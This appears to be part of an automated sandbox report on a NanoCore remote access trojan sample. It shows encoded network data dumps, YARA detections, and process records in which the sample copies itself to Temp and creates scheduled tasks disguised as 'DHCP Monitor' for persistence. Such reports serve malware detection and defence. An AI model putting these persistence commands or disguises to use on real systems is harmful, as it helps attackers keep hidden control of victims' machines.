52 d5 7d 91 50 86 f4 db ec ee 90 b9 9f 38 5e Data Ascii: NQ>m5XmFS:2<kd}}erg]bnY_e\/EpXAw#wRxDmq'5Dog4&dq57&0\[z.9]E4yxn1kU:dvQ~5KkwJ=R}P8^
2021-10-12 00:46:29 UTC	4021	IN	Data Raw: 6f 8b 60 c5 00 84 6b 3f e7 98 fb fd 5b 50 15 f9 7f ee 0d 37 1f ff d2 d9 47 a5 5c 69 d3 01 b2 7c 95 85 ad 15 dd a6 3f 41 0d 5d 3e 83 f0 bd 7e 13 ea 0b 90 b5 e8 44 eb c2 49 2d a1 7d bf 08 75 2f 21 1d 65 8f c6 a2 79 31 b8 d6 95 45 66 43 e7 ba 59 29 ac a8 2f 8c a1 19 f2 2c 94 82 25 3b f7 8f 24 61 9f 93 b6 54 e8 10 06 e2 06 4d de 6a b6 da 97 53 b3 fd fa 76 06 86 d2 6c c3 08 0f 0f d4 0f eb 83 a1 43 3d 50 12 d2 a3 f2 1c c4 29 8e 3c 1c 15 89 dd dc ca a5 4a ea f3 9b c0 05 f2 4e 29 5d bc 9b 52 65 06 71 ce 74 11 1e 3b 4e b8 30 0b 58 11 68 98 78 98 48 e5 9b de 38 8c 9c 7b 23 d6 ac 06 e0 e2 d1 7c ae 02 f3 ce b1 8c 10 80 30 2a 78 c1 16 bf 06 58 9e 6f 2f 28 b2 e4 49 7c f7 b0 9d 77 71 05 54 63 e0 aa 7e d8 4c 1a f2 2e c7 6c 52 99 2a 5e ef 23 33 07 87 a4 64 f0 e6 98 17 b4 Data Ascii: o`k?[P7G\i\|?A]>~DI-}u/!ey1EfCY)/,%;$aTMjSvlC=P)<JN)]Reqt;N0XhxH8{#\|0xXo/(I\|wqTc~L.lR^#3d
2021-10-12 00:46:29 UTC	4037	IN	Data Raw: 89 ba 2c 85 bd 22 a3 e3 36 6b 8f 89 7b a3 16 65 c7 35 bd 6e 14 95 9c f7 1d be cf e7 5a c5 a0 f9 be d1 b7 bb 9c 25 62 36 58 0a 06 07 80 47 6c 24 3f 11 10 00 f8 51 ba b5 12 c8 76 cb 4f 61 11 61 6b d8 f6 c7 81 b2 5b c4 69 c5 fc 84 f6 7a 63 50 4b 08 31 0e 7a 62 e5 65 f3 38 f3 2b ae fa ae 30 fa 45 b5 78 42 66 7f 56 af 3e 92 e4 c0 49 49 bb bc 0e 1d b0 13 8b 81 1b 15 c0 7c 62 3a 60 03 ec 81 da 5e d4 c8 f8 69 57 67 ab 35 5f d5 47 6a 4b d8 e6 5c 35 8f 5b 1a 1f c4 1a 1d ed fe 80 bb b1 58 a3 dd 86 88 c3 76 04 fc 38 3c 6d f7 51 c0 62 5f 02 74 31 4b ac 53 ec d0 b3 62 cf b6 ac 51 e8 2c 5f 48 e1 ca 55 a4 67 71 c7 13 c0 a4 02 69 81 1f 4e f4 b4 93 f2 7f e7 4b ff 55 3e 33 d0 79 94 a5 47 37 c5 b0 f5 c7 4a 28 d8 ca 47 97 c4 02 d0 51 2e 77 bb 11 57 09 3c 3d bb 5c 34 3d 65 f2 Data Ascii: ,"6k{e5nZ%b6XGl$?QvOaak[izcPK1zbe8+0ExBfV>II\|b:`^iWg5_GjK\5[Xv8<mQb_t1KSbQ,_HUgqiNKU>3yG7J(GQ.wW<=\4=e
2021-10-12 00:46:29 UTC	4053	IN	Data Raw: 41 b5 2d 83 b0 df 32 9b 3a 1a f6 eb 29 39 7b 1b c5 b3 4c d0 15 5e 8e ef e1 7c f8 2a b5 16 7e c8 f0 97 18 04 8a e0 5d 9c 7e 78 ca bd fd b5 53 87 a0 14 f9 e7 d1 cf 1d 6e c3 fc 1e 40 5c af 40 69 75 66 e4 9c d4 19 ab 01 26 a3 8c e6 d8 1a 57 3a 88 aa 59 c5 00 95 05 5d 7c 27 d7 67 57 f4 e5 bb 3e e2 40 2e 96 99 20 e8 26 fe ce c2 64 35 c7 1d df fc 9c 55 a8 2c 2c 4f eb 88 39 aa 4f 5b c4 45 f3 5a 53 a1 09 ee 57 7b e7 dd b5 a9 30 a3 77 d8 16 79 c7 3b 51 bd d5 69 22 15 0d a9 af 69 44 74 f8 06 9e 11 c0 a2 e2 23 24 57 8a a8 43 ee 02 97 2a ff 4d 41 b1 dc 94 07 a2 b0 e2 cb 79 c6 e9 1e ce f1 48 67 47 c7 22 57 d9 d0 31 4d b8 f2 4c a1 72 cf 24 ca ad 37 c4 49 e5 ec 39 05 1c 03 59 e1 06 e7 94 b4 7f 9f 4e af e9 5b 4b 6b 22 d6 8c cd 49 b2 a1 ef ed 1f 70 58 4f ab cc 3a e0 f2 52 Data Ascii: A-2:)9{L^\|~]~xSn@\@iuf&W:Y]\|'gW>@. &d5U,,O9O[EZSW{0wy;Qi"iDt#$WCMAyHgG"W1MLr$7I9YN[Kk"IpXO:R
2021-10-12 00:46:29 UTC	4069	IN	Data Raw: 92 e5 5a 2c 1c cd d6 2b f3 d5 ae c4 22 a5 70 9d a9 6f ce 63 e0 02 c3 df 40 37 3e aa d8 48 15 03 6b 89 83 3d 99 8b 09 7e ea 49 02 9f 9e 21 71 52 19 0f cb b0 16 6b b2 36 c7 93 6c ba 81 71 86 85 b3 35 38 3a b2 01 56 ac a2 33 e5 2e c7 9b 30 7c 21 dc 7a 26 46 b8 fd 55 b3 89 eb 03 ad c3 33 29 41 3c ef 0c 24 4e c1 88 a7 41 76 49 3d 79 1d 1b 86 1e a0 49 2d 5c e9 51 60 c9 3f 42 ca 32 3d 29 35 0a f6 db d2 18 65 7f f9 65 49 34 22 87 09 43 7d 9f 86 1f e9 69 f1 33 70 9c cf ef 96 c8 42 b6 f6 25 4b 19 fe 02 c1 0d 62 2a 2c 5b 32 5c 77 52 ce 34 dc 1f 75 9f bf b7 98 f1 f0 5e cd ae 41 b0 88 76 9c 58 cc 84 80 57 9e 6d 40 5a 8f 31 39 5b 3c 9f 49 ad 86 4c f1 40 cf 3f 0b 22 4d 59 53 72 e0 42 61 dc d9 54 64 4a 52 d4 e5 8b 34 cb 60 0f 5e 93 40 60 d4 7c 32 93 c6 17 e0 41 00 84 6d Data Ascii: Z,+"poc@7>Hk=~I!qRk6lq58:V3.0\|!z&FU3)A<$NAvI=yI-\Q`?B2=)5eeI4"C}i3pB%Kb*,[2\wR4u^AvXWm@Z19[<IL@?"MYSrBaTdJR4`^@`\|2Am
2021-10-12 00:46:29 UTC	4085	IN	Data Raw: 0a b1 bb 7c 3c 04 1c 96 72 f3 3b 32 c3 c3 8c 2e 63 c1 62 61 5b 01 fe 38 91 95 f3 ed b6 19 0d e8 91 a7 11 ba 64 c1 e0 b7 ec c4 ca 50 41 e3 b5 03 5f de 16 69 77 53 16 df 82 9e eb 95 1b ca 5a 25 af f7 eb 8f de 49 10 2e 23 f0 f1 5d e7 9b 4b 6e 83 f3 e0 17 19 b4 fc ae c0 8e d4 5f fe 28 7a 28 0e 43 5d 2c f0 63 e7 3a 8a f7 3b 3b d4 6a c8 8b 5b e6 1f 3e 8a c0 d6 c4 d0 a8 76 86 93 d9 f7 ab 63 89 e8 e4 f3 ff 60 3c 24 b3 22 c0 4a fa 79 c8 3b 93 81 6b 21 15 ee 28 b4 a4 7d 3b c6 06 d9 ac fa 0a f8 48 21 35 9a d9 17 72 7d 2c b1 7e 94 52 1c f4 03 22 ac dc 39 d4 07 7c 4a 6a ee c8 52 07 28 cb 44 d6 4b 40 33 d4 29 64 19 b5 5c 4a 5d f3 89 cb ba 35 70 19 88 9e 1e 2a 2b 02 f0 35 37 36 d0 1e 79 e6 b6 c8 2a 34 ea e4 2b c9 d3 70 0d 34 af a8 b9 cc 4e ee 71 4c f5 2d 1a 6b 2b ec 10 Data Ascii: \|<r;2.cba[8dPA_iwSZ%I.#]Kn_(z(C],c:;;j[>vc`<$"Jy;k!(};H!5r},~R"9\|JjR(DK@3)d\J]5p+576y4+p4NqL-k+
2021-10-12 00:46:29 UTC	4101	IN	Data Raw: 9d c1 6d e8 3b 3c 75 f1 7f e9 72 cf a6 41 20 dd bb 0f 80 fb 1d 3e 22 d0 4d 26 7f 74 8f 7b 5e 41 2b 05 ce fc 3e 87 09 aa 86 32 d4 46 09 0b 8a 38 3a c9 7e 64 89 4c 71 68 11 af c6 cf 43 2c 68 3c 28 ad c6 35 4c 47 6b bb 81 b2 04 09 b5 9a 82 0f 73 93 8d 9f ed ca 88 91 3a 1b c6 c8 3d a0 42 1d 36 1a c9 70 5f a6 f9 4a a5 a8 a1 13 43 da 2a a1 68 bb 4b 91 b8 55 f9 71 2d 75 56 bc a0 b4 2b c5 7e cc 62 32 d2 b8 d8 af f6 e3 f9 2d af 76 f3 84 56 42 45 37 f0 24 0f 3a e8 14 fb cb ad 01 76 c5 e5 7f b3 e9 17 e4 76 ea 16 02 15 54 6e 6b 44 37 56 2a 25 65 d0 b1 ad f4 9e eb 4d f2 4b 7c 35 cc 39 45 87 57 30 91 9c 5c 7c 91 56 22 37 c7 52 e3 ae f8 0b 30 69 4e 06 4d 9f ba 67 f7 e0 a5 8e 00 da c4 d6 96 04 1c 5e 87 16 29 5c f7 e4 14 96 77 36 3d 4a 52 84 5d 57 00 df 86 ef 13 ab 98 6e Data Ascii: m;<urA >"M&t{^A+>2F8:~dLqhC,h<(5LGks:=B6p_JChKUq-uV+~b2-vVBE7$:vvTnkD7V%eMK\|59EW0\\|V"7R0iNMg^)\w6=JR]Wn
2021-10-12 00:46:29 UTC	4117	IN	Data Raw: dc f7 1c 0a d1 80 a1 fb da 0c b4 55 c0 d0 01 c7 d0 01 08 7b d2 d5 4d c0 0d fa 58 a4 4b 6e b6 c3 b5 eb 31 49 42 55 ef 12 18 21 29 c1 9e 97 8e 99 ea 0f fa 64 78 52 95 b7 80 f1 5d 43 05 94 42 92 ac d3 2b 82 fb e6 ac 2a 37 8a dc 3e 73 84 7e eb 10 1e a8 94 46 42 48 58 19 4a df 37 d5 64 39 6d 3e 94 06 d9 e2 7a bd 2f 55 77 a3 4a e6 63 1c 50 4d cc 61 90 55 28 e2 5e 0d f0 b8 fc bb 3e 6e 32 de 52 51 33 13 5d db e5 f3 85 7d 9a a9 5a 07 51 ff 44 02 8c 98 15 6a 50 72 b5 a0 71 21 7a 7e d8 cf 17 29 03 d2 4f 7a 9d d4 2e 9b 46 3a fc ad ee 92 c9 27 35 30 3e f9 29 08 68 2d 87 0d 30 9c c3 4e 77 72 eb 2f 65 57 13 c0 d2 ff db 06 2e 06 a1 b4 f3 8f 23 8d 08 fd 58 09 9a 5e ac 61 37 42 9f eb 45 df 49 a7 c2 b7 28 4e a8 68 00 c9 c1 de 1b 25 d0 a8 93 29 43 22 9c 84 ee 89 9b ff 20 05 Data Ascii: U{MXKn1IBU!)dxR]CB+*7>s~FBHXJ7d9m>z/UwJcPMaU(^>n2RQ3]}ZQDjPrq!z~)Oz.F:'50>)h-0Nwr/eW.#X^a7BEI(Nh%)C"
2021-10-12 00:46:29 UTC	4133	IN	Data Raw: 36 16 cc 65 16 32 f9 58 ae 9a 8f 2b 17 7c 9e 73 50 38 86 51 33 5c 91 7b 35 b2 57 69 58 4b 4c 1c f6 e5 61 a3 95 21 82 83 d3 a5 c4 58 49 c7 31 a4 9e dd ba eb f8 ec fb cc fb 0e ad 12 d5 a9 ee cd 8b fa 86 37 a7 27 db 05 93 fb ee 6c e4 40 3f b4 b5 90 04 29 27 7e 28 df 7d 31 a6 34 1d 4c c5 0d 25 b6 f4 4c 20 b3 36 d5 38 7a 45 92 0d 45 ee 76 c5 5f 43 4e 91 73 ec fc 64 50 06 2f ae 5b 7b ef f0 7f 4b 34 b1 b0 e2 7b 8e 86 9e 7e aa 72 dd 76 a8 83 25 e4 2c 58 6d d2 86 e8 c9 c4 74 27 bb 50 cf 0d 4b a1 46 7f fd 2f 49 ab d8 6a ee 68 55 42 aa 5f fc bb 60 ea 8b b6 ed 80 43 44 28 a6 f2 a4 d7 46 3d 36 ef 5f 21 3f de 5c 0c c0 fd fe c3 07 54 ac 72 85 78 a5 b1 c7 31 55 47 2c 80 29 12 6b f5 0f fd ca 0b 71 8a 9d ea 23 d4 02 4f 79 7f fd 96 5e 3f 1d fc 21 a8 2e aa f3 2b 0e 27 25 85 Data Ascii: 6e2X+\|sP8Q3\{5WiXKLa!XI17'l@?)'~(}14L%L 68zEEv_CNsdP/[{K4{~rv%,Xmt'PKF/IjhUB_`CD(F=6_!?\Trx1UG,)kq#Oy^?!.+'%
2021-10-12 00:46:29 UTC	4149	IN	Data Raw: 4d 09 2f fc 5e 80 51 e7 79 14 1f 15 53 6c f6 5d 6f a7 f3 58 8d b7 ca 0f 3f b0 fe 2b 3a f3 e5 e2 ed 7d ee 6c cf 19 7d 79 a9 eb 38 38 97 24 e2 7d 24 95 9c 96 4e 68 b6 77 26 41 6b a5 cd aa ae dd 5d 1b 51 06 7d 4e 87 18 de 12 71 6d 18 98 88 b0 c3 49 6f 0a 68 ba 8c 47 dc 70 e8 50 d9 00 ca e8 79 4c c7 3a 4b c9 22 bb 72 95 81 0f e7 bc ca 79 61 b8 7b 9d 9d 7c ed 40 38 29 23 66 0c bc 96 78 62 2e a2 3c 06 cb a3 de bd bd ce 42 0c 1b d6 0e ad 2b 53 b1 ec b2 c4 27 06 2f e4 c4 23 4c 26 7e 27 44 c1 9e 3d c0 93 15 83 b2 20 d2 26 06 96 14 fc 1d eb 8e 6d 81 2e 65 e8 1e 5c f5 83 c3 d2 13 bb d7 7e 3e 85 05 48 f3 f3 6a ba 98 07 79 7d c7 e0 5f 41 91 99 99 c9 96 af 02 ed 7b 1b 37 5a ed cb d1 f8 81 c2 64 6f d2 c4 98 07 e5 fa 95 af 88 2e d4 97 1f 53 31 9f bc 7d 4e 5d f5 ee 0f df Data Ascii: M/^QySl]oX?+:}l}y88$}$Nhw&Ak]Q}NqmIohGpPyL:K"rya{\|@8)#fxb.<B+S'/#L&~'D= &m.e\~>Hjy}_A{7Zdo.S1}N]
2021-10-12 00:46:29 UTC	4165	IN	Data Raw: 59 48 bb 99 30 18 bf 4e fd 1f 63 fe 6a 97 af 0c 3f b8 bb f8 dc 01 df eb 94 ef 08 ca 23 8f 28 f2 e4 1a 39 7c a3 4f b5 bb 2b 4b d1 d7 00 21 6e c4 74 98 83 b4 1c 81 f2 40 a0 b7 a2 6b 8e 4b 0b 13 a3 0b 24 98 cf d4 32 ca d4 72 c6 4a 15 f7 85 c1 88 2b 1c 0d 07 60 35 56 52 09 a9 41 2c 10 f6 df 34 47 9c 18 db fd 81 f3 b4 74 6e c7 1a b7 ff 00 57 fa 86 c8 90 1a 42 ea f3 b5 23 3f 58 f8 7f 92 95 f4 83 70 de 79 e6 ce 4d 86 9b 5c 66 34 28 cd cf d8 77 c1 6b 8e 6b 2d 49 bd 83 d2 27 69 3c b5 5a 0c 93 61 2d a6 bb 0d 81 8e 1a b9 0f fd 99 7b 56 cb 79 e6 9a fb cf e4 86 76 cf 6f 81 ce 0d cc c8 bb 73 d6 41 22 f2 32 d9 b2 6d fc 53 72 6b 77 7c 9f 7b 1e 48 a3 22 1a a9 07 4b b4 29 8b e4 29 c9 41 c5 50 b4 02 bb 06 3c e3 0e 22 09 32 67 8e 99 5d c8 32 81 26 e8 fd be 20 7e 28 17 c2 7b Data Ascii: YH0Ncj?#(9\|O+K!nt@kK$2rJ+`5VRA,4GtnWB#?XpyM\f4(wkk-I'i<Za-{VyvosA"2mSrkw\|{H"K))AP<"2g]2& ~({
2021-10-12 00:46:29 UTC	4181	IN	Data Raw: 6e 1a ce 99 01 e3 1e b0 11 b8 64 75 6c 89 2a 90 15 4e 27 24 67 74 2c c3 77 a7 4f ee 12 91 da 19 84 ad 4d 00 1c 6c 2d 7f 94 19 09 44 29 9c 9b f2 42 05 5d 86 e3 3e 9d c1 60 99 d7 00 6a 73 2a 08 ce 86 d6 34 1a 67 33 e3 6d 89 41 70 32 ea 60 d1 64 94 a9 63 4c 9c a7 d4 82 a6 58 07 b6 2a 31 3c 6c 6a 4e 5c a6 2b 48 f6 13 be f4 7b 7b 9b 58 c8 27 1a 0d 1b 2a 31 2e af de 71 37 db 2f 4e cb c8 02 dc 1e b5 69 ac 4d ad c1 af 42 ab bd b6 c4 eb fd d9 53 b0 84 6e a1 70 4c 22 f4 05 74 57 08 03 16 4f a2 7b 99 bd bf d4 41 86 5c a4 80 29 d3 2a 3d c7 75 9e df 74 23 14 62 1a 8f 3f ab e3 cb ab ce 4d 80 5c eb bf 08 10 93 12 f6 82 d9 a2 e0 f8 52 8f 86 23 bc d1 13 2b 58 21 17 04 1f da 02 44 46 5a 48 53 3c 88 42 eb fd 40 cd b0 ee a0 73 82 81 44 01 c8 59 d0 f4 df a8 36 88 7e e5 97 aa Data Ascii: ndulN'$gt,wOMl-D)B]>`js4g3mAp2`dcLX1<ljN\+H{{X'1.q7/NiMBSnpL"tWO{A\)*=ut#b?M\R#+X!DFZHS<B@sDY6~
2021-10-12 00:46:29 UTC	4197	IN	Data Raw: 9d 88 51 50 8f 28 4b 21 8d 4a da 26 86 6a 79 76 db 81 17 8f d6 c6 9a db bf 69 f0 72 42 5a e8 5e 82 95 fa 5c 26 b9 42 e8 e6 cd 1c f3 02 7b 4b b1 f4 e8 04 4a 7b 18 5d 07 b9 93 a3 7e 3b 41 e1 4e 1c cc a2 64 72 85 4d 18 7b 0b 09 31 8c 4d 5d e8 55 bb 5f 41 90 d8 25 4c c2 82 1f 79 ad be 2f 09 0e 7d d8 fc 37 40 7b b8 7e c5 b5 6d ac b0 1a 71 b3 10 7f 8f 38 f6 6b c1 99 83 7c 16 45 b2 c6 9c b1 cd 01 2b 5a 88 71 f8 0b 31 50 e1 57 1d a8 41 80 2a 26 a9 33 33 a5 9a 6f 13 2f 2a 51 4d ff 51 d1 0a 0f e5 f2 7a 6b b2 e8 98 9d 78 c2 1e f1 dc 12 14 ac 23 ca 52 42 98 20 4f e4 52 8f db 33 6d cb 02 69 90 72 f3 f7 24 14 a5 1d e7 a6 c9 fb a5 7a a9 05 19 4a d4 a1 f8 46 c2 cc 2a 7c a4 6c 3c 53 ab cb 10 81 ed 73 ef f8 77 1b 4b 78 b5 3d b5 2f 63 5e 8f 54 ee 8a db 25 d4 30 10 1e 97 d1 Data Ascii: QP(K!J&jyvirBZ^\&B{KJ{]~;ANdrM{1M]U_A%Ly/}7@{~mq8k\|E+Zq1PWA&33o/QMQzkx#RB OR3mir$zJF*\|l<SswKx=/c^T%0
2021-10-12 00:46:29 UTC	4213	IN	Data Raw: b4 9a 04 0d 7d 00 d0 a1 cb ba 8b 3c 78 3a 1d ec e1 70 c6 e8 ec c4 07 86 d5 2a e6 58 39 80 ac 0f 43 f2 28 46 1f f2 87 e9 1d f4 7a d1 11 b6 ec 12 fd 7c 59 9c 7d 3b 71 47 71 9e c0 ac 98 1c 52 1a e6 fc ca 68 a0 59 7f 70 fb bd 98 0e a1 ce 7a bb 66 02 3e 32 de 69 e9 3d d2 9a 5c e9 a1 eb 70 f3 a3 39 2a da c6 ed 12 91 cd 82 07 1d 84 ae a9 d3 f6 a2 44 64 2f 4d 25 25 af ef ae 37 f4 f3 a8 7a 1d 65 22 b7 f1 77 4e f2 13 68 37 d2 ba ff 01 59 66 1a 3d 55 80 ac 8a f4 6a 01 5b 10 6b d7 7d 75 ab 27 dc e7 10 8e 09 e9 2e 60 07 b0 84 b2 1a c3 0b 8a 01 73 be c8 3b 5a 6a 71 f5 0c 1a 2b 85 ad 55 49 cf 39 c6 8a e5 9a c8 ae 6f a5 7e 5a da 8d 9d 79 c5 3f 9f e2 76 55 0e 5c fd 34 2d a5 57 60 55 63 59 0b ea da a1 42 5a bf 31 14 2f 8f d8 a9 ad fd 0a 34 2c f9 65 2d 90 f8 76 ca a9 df 3c Data Ascii: }<x:pX9C(Fz\|Y};qGqRhYpzf>2i=\p9Dd/M%%7ze"wNh7Yf=Uj[k}u'.`s;Zjq+UI9o~Zy?vU\4-W`UcYBZ1/4,e-v<
2021-10-12 00:46:29 UTC	4229	IN	Data Raw: b0 8a 2c d6 25 68 7d b8 3b a6 20 06 a7 fe ae 1b f7 6d 27 4c 6a 6a 6e 26 41 2c 3f 31 c4 47 8f fc 73 93 71 39 ef ec 76 f9 68 31 49 37 0d 80 c6 b2 a1 65 eb c5 bf 3e 8d ea 4a d9 92 91 65 f3 90 c1 f2 0e 49 b1 3c a5 e5 4a d8 75 cc 98 45 f0 b8 4c b7 39 3c 6e f1 ee a9 fd 9b 32 af 70 15 35 8e 24 e7 fe b0 e2 b7 70 76 19 98 c0 37 d2 17 2d 6b 7d 88 4f bb 5a 1c 4e e5 ff 4a de 85 dc 33 30 59 36 14 4c 88 2b bd 90 fb 0b 5e 66 34 12 7f 54 20 5f a0 d6 70 0d 40 30 61 31 83 69 9e 4b 55 96 c4 64 c5 91 80 bb b9 c4 55 c7 39 86 ee 49 e8 13 dc c8 77 31 ab cc 60 b3 22 0d cd 83 d8 9c dc 24 81 2c 10 f3 3a 40 91 89 4f f2 19 c0 bd e2 6d 72 6c 5f 21 dd 62 49 22 c9 4b 2a 52 d7 88 25 ed ff 23 5a 55 fd a3 a1 69 40 37 da f5 ac 92 e3 5c 82 3e 0e af 7d a4 9e 35 3f 7f 7a 7f 31 cd 9c f2 72 02 Data Ascii: ,%h}; m'Ljjn&A,?1Gsq9vh1I7e>JeI<JuEL9<n2p5$pv7-k}OZNJ30Y6L+^f4T _p@0a1iKUdU9Iw1`"$,:@Omrl_!bI"K*R%#ZUi@7\>}5?z1r
2021-10-12 00:46:29 UTC	4245	IN	Data Raw: 81 32 f3 70 dc a9 e9 da 16 c6 88 60 0e 9c d3 6a f4 f0 3a db 8c 0d 7b 54 24 92 bd 5a 5e 25 67 5f e3 6c 10 77 f9 05 b7 93 b1 59 a9 ce 2d e5 3f e0 59 3c 5a bf 03 03 86 36 cd ba 0f aa 5e 58 35 b2 19 f4 59 3f 3a a7 c7 d8 f5 bf bf b1 8f c3 ff be 4f 35 d2 55 6e ea 87 12 17 ad bc 9a 5c e1 ba 63 48 97 b2 37 14 dd 82 07 d2 50 a3 84 3c f9 94 b1 47 f8 9b ff 2c 88 3c ed f7 6a 5f 1f fc 19 39 de 0f cb 74 71 79 0d 1e 3d 6f a5 23 2e 6b c1 42 38 7f c6 a7 96 e5 61 28 d1 5c c9 7d 2e 7c 8d 76 a7 c8 58 45 db ce 37 cf 21 74 72 2b 7f 0e ab 8d 9c 3a 4a 26 d3 3f 0e c1 a7 ea 55 9c f9 3b 12 d7 71 a8 88 30 a1 8a 5f 47 b2 6b 11 a8 f0 ab 72 c6 09 fa a3 29 d7 9f 10 8f 55 43 f8 1d 03 90 c8 58 38 fa f2 89 a3 d7 aa 11 c1 9e 59 98 23 b2 45 47 3b b7 dc dd 10 b5 44 c4 1c 55 e2 04 54 f5 9e 2e Data Ascii: 2p`j:{T$Z^%g_lwY-?Y<Z6^X5Y?:O5Un\cH7P<G,<j_9tqy=o#.kB8a(\}.\|vXE7!tr+:J&?U;q0_Gkr)UCX8Y#EG;DUT.

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: FYrMKmDjFi.exe PID: 6504 Parent PID: 5744

General

Start time:	02:46:00
Start date:	12/10/2021
Path:	C:\Users\user\Desktop\FYrMKmDjFi.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\FYrMKmDjFi.exe'
Imagebase:	0x8b0000
File size:	13312 bytes
MD5 hash:	F76BC0E1DD77808D3668B3A169155DEC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000000.00000002.308296002.0000000003C99000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000000.00000002.308296002.0000000003C99000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000000.00000002.308296002.0000000003C99000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000000.00000002.308727184.0000000003DFC000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000000.00000002.308727184.0000000003DFC000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000000.00000002.308727184.0000000003DFC000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000000.00000002.307988871.0000000002CEE000.00000004.00000001.sdmp, Author: Florian Roth Rule: NanoCore, Description: unknown, Source: 00000000.00000002.307988871.0000000002CEE000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000000.00000003.304968970.0000000003F59000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000000.00000003.304968970.0000000003F59000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000000.00000003.304968970.0000000003F59000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
Reputation:	low

Analysis Process: FYrMKmDjFi.exe PID: 4324 Parent PID: 6504

General

Start time:	02:46:08
Start date:	12/10/2021
Path:	C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\FYrMKmDjFi.exe
Imagebase:	0xbc0000
File size:	13312 bytes
MD5 hash:	F76BC0E1DD77808D3668B3A169155DEC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000004.00000002.559219526.0000000000402000.00000040.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000004.00000002.559219526.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000004.00000002.559219526.0000000000402000.00000040.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000004.00000002.563611472.0000000002F31000.00000004.00000001.sdmp, Author: Joe Security Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000004.00000002.567450851.00000000056F0000.00000004.00020000.sdmp, Author: Florian Roth Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source: 00000004.00000002.567450851.00000000056F0000.00000004.00020000.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000004.00000002.564355540.0000000003F39000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000004.00000002.564355540.0000000003F39000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000004.00000002.567502998.0000000005860000.00000004.00020000.sdmp, Author: Florian Roth Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source: 00000004.00000002.567502998.0000000005860000.00000004.00020000.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000004.00000002.567502998.0000000005860000.00000004.00020000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 9%, ReversingLabs
Reputation:	low

Analysis Process: schtasks.exe PID: 7032 Parent PID: 4324

General

Start time:	02:46:10
Start date:	12/10/2021
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	'schtasks.exe' /create /f /tn 'DHCP Monitor' /xml 'C:\Users\user\AppData\Local\Temp\tmp563.tmp'
Imagebase:	0xf00000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exe PID: 7120 Parent PID: 7032

General

Start time:	02:46:11
Start date:	12/10/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: schtasks.exe PID: 6416 Parent PID: 4324

General

Start time:	02:46:11
Start date:	12/10/2021
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	'schtasks.exe' /create /f /tn 'DHCP Monitor Task' /xml 'C:\Users\user\AppData\Local\Temp\tmp8B0.tmp'
Imagebase:	0xf00000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exe PID: 6620 Parent PID: 6416

General

Start time:	02:46:12
Start date:	12/10/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7f20f0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

